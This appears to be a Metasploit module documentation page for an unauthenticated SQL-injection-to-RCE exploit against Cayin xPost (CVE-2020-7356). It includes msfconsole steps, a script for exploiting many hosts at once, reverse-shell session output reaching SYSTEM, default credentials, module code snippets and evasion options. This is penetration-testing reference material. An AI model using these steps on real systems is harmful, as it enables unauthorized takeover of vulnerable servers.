Cayin xPost wayfinder_seqid SQLi to RCE - Metasploit
This page contains detailed information about how to use the exploit/windows/http/cayin_xpost_sql_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cayin xPost wayfinder_seqid SQLi to RCE
Module: exploit/windows/http/cayin_xpost_sql_rce
Source code: modules/exploits/windows/http/cayin_xpost_sql_rce.rb
Disclosure date: 2020-06-04
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): java
Supported platform(s): Java, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-7356
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5. The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected with a blind SQLi. Since this app bundles MySQL and apache Tomcat the environment is pretty static and therefore the default settings should work. Results in SYSTEM level access. Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads seem to be valid.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using cayin_xpost_sql_rce against a single host
Normally, you can use exploit/windows/http/cayin_xpost_sql_rce this way:
msf > use exploit/windows/http/cayin_xpost_sql_rce
msf exploit(cayin_xpost_sql_rce) > show targets
... a list of targets ...
msf exploit(cayin_xpost_sql_rce) > set TARGET target-id
msf exploit(cayin_xpost_sql_rce) > show options
... show and set options ...
msf exploit(cayin_xpost_sql_rce) > exploit
Using cayin_xpost_sql_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your cayin_xpost_sql_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/cayin_xpost_sql_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.
The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can
be injected with a blind SQLi. Since this app bundles MySQL and Apache
Tomcat the environment is pretty static and therefore the default
settings should work. Results in SYSTEM level access. Only the
java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads seem
to be valid.
Default authentication for the system is administrator:admin from Guide page 16
Verification Steps
- Install the application and start it
- Start msfconsole
- Do:
exploit/windows/http/cayin_xpost_sql_rce - Do:
set rhosts [ip] - Do:
run - You should get a shell.
Options
LOCALWEBROOT
Path to the webapps folder for Cayin. Defaults to C:/CayinApps/webapps/
Scenarios
Cayin xPost 2.5 on Windows 10.0.16299.125
[*] Processing xpost.rb for ERB directives.
resource (xpost.rb)> use exploit/windows/http/cayin_xpost_sql_rce
resource (xpost.rb)> set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
resource (xpost.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (xpost.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (xpost.rb)> set verbose true
verbose => true
resource (xpost.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Utilizing payload filename cY0bWf1Rh6C9.jsp
[*] Payload Size: 1499
[*] Payload Size Encoded: 2998
[*] Attempting Exploitation
[*] Triggering uploaded payload
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50158) at 2020-06-09 12:20:33 -0400
[!] Tried to delete C:/CayinApps/webapps/cY0bWf1Rh6C9.jsp, unknown result
C:\CayinApps\Tomcat>
C:\CayinApps\Tomcat>whoami
whoami
nt authority\system
C:\CayinApps\Tomcat>ver
ver
Microsoft Windows [Version 10.0.16299.125]
C:\CayinApps\Tomcat>
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Msfconsole Usage
Here is how the windows/http/cayin_xpost_sql_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/cayin_xpost_sql_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show info
Name: Cayin xPost wayfinder_seqid SQLi to RCE
Module: exploit/windows/http/cayin_xpost_sql_rce
Platform: Java, Windows
Arch: java
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-06-04
Provided by:
h00die
Gjoko Krstic (LiquidWorm) <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LOCALWEBROOT C:/CayinApps/webapps/ yes Local install path webroot
PAYLOADNAME no Name of payload file to write
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of Cayin xPost
VHOST no HTTP server virtual host
Payload information:
Space: 2000
Description:
This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.
The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can
be injected with a blind SQLi. Since this app bundles MySQL and
apache Tomcat the environment is pretty static and therefore the
default settings should work. Results in SYSTEM level access. Only
the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
seem to be valid.
References:
https://www.exploit-db.com/exploits/48558
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php
https://nvd.nist.gov/vuln/detail/CVE-2020-7356
Module Options
This is a complete list of options available in the windows/http/cayin_xpost_sql_rce exploit:
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show options
Module options (exploit/windows/http/cayin_xpost_sql_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
LOCALWEBROOT C:/CayinApps/webapps/ yes Local install path webroot
PAYLOADNAME no Name of payload file to write
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of Cayin xPost
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the windows/http/cayin_xpost_sql_rce exploit:
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show advanced
Module advanced options (exploit/windows/http/cayin_xpost_sql_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/cayin_xpost_sql_rce module can exploit:
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/cayin_xpost_sql_rce exploit:
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
6 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/cayin_xpost_sql_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/cayin_xpost_sql_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Error Messages
- Could not connect to the web service, check URI Path and IP
- Could not connect to the web service, check URI Path and IP
- Could not connect to the web service, check URI Path and IP
- <PEER> - Could not connect to web service - no response
- <PEER> - Payload too large, utilize a smaller payload
- <PEER> - Invalid response to injection
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
71: res = send_request_cgi(
72: 'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
73: )
74:
75: if res.nil? || res.code != 200
76: return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
77: end
78:
79: %r{// xPost v(?<version>[\d.]+) } =~ res.body
80:
81: if version && Rex::Version.new(version) <= Rex::Version.new('2.5')
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
87: res = send_request_cgi(
88: 'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
89: )
90:
91: if res.nil? || res.code != 200
92: return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
93:
94: end
95:
96: if res.body =~ %r{<title>xPost</title>}
97: vprint_good('HTML Title includes xPost')
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
97: vprint_good('HTML Title includes xPost')
98: return CheckCode::Detected
99: end
100: CheckCode::Safe
101: rescue ::Rex::ConnectionError
102: CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
103: end
104:
105: def exploit
106: filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
107: filename = "#{filename}.jsp" unless filename.end_with? '.jsp'
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
121: # use raw to prevent encoding of injection characters
122: res = send_request_raw(
123: 'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
124: )
125:
126: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
127:
128: if res.code == 400
129: fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
130: end
131:
<PEER> - Payload too large, utilize a smaller payload
Here is a relevant code snippet related to the "<PEER> - Payload too large, utilize a smaller payload" error message:
124: )
125:
126: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
127:
128: if res.code == 400
129: fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
130: end
131:
132: if res.code != 302
133: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
134: end
<PEER> - Invalid response to injection
Here is a relevant code snippet related to the "<PEER> - Invalid response to injection" error message:
128: if res.code == 400
129: fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
130: end
131:
132: if res.code != 302
133: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
134: end
135:
136: register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")
137:
138: vprint_status('Triggering uploaded payload')
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
135:
136: register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")
137:
138: vprint_status('Triggering uploaded payload')
139: send_request_cgi(
140: 'uri' => normalize_uri(target_uri.path, filename)
141: )
142: rescue ::Rex::ConnectionError
143: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
144: end
145: end
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13607 Merged Pull Request: Cayin xPost and CMS exploits
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/cayin_cms_ntp
- exploit/windows/http/cyclope_ess_sqli
- exploit/windows/http/solarwinds_storage_manager_sql
- exploit/windows/http/sonicwall_scrutinizer_sqli
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/http/dnn_cookie_deserialization_rce
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/geutebrueck_gcore_x64_rce_bo
- exploit/windows/http/git_lfs_rce
- exploit/windows/http/gitstack_rce
- exploit/windows/http/manageengine_adshacluster_rce
- exploit/windows/http/manage_engine_opmanager_rce
- exploit/windows/http/mcafee_epolicy_source
- exploit/windows/http/netgear_nms_rce
- exploit/windows/http/nscp_authenticated_rce
- exploit/windows/http/plex_unpickle_dict_rce
- exploit/windows/http/prtg_authenticated_rce
- exploit/windows/http/sepm_auth_bypass_rce
- exploit/windows/http/zentao_pro_rce
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
Authors
- h00die
- Gjoko Krstic (LiquidWorm) <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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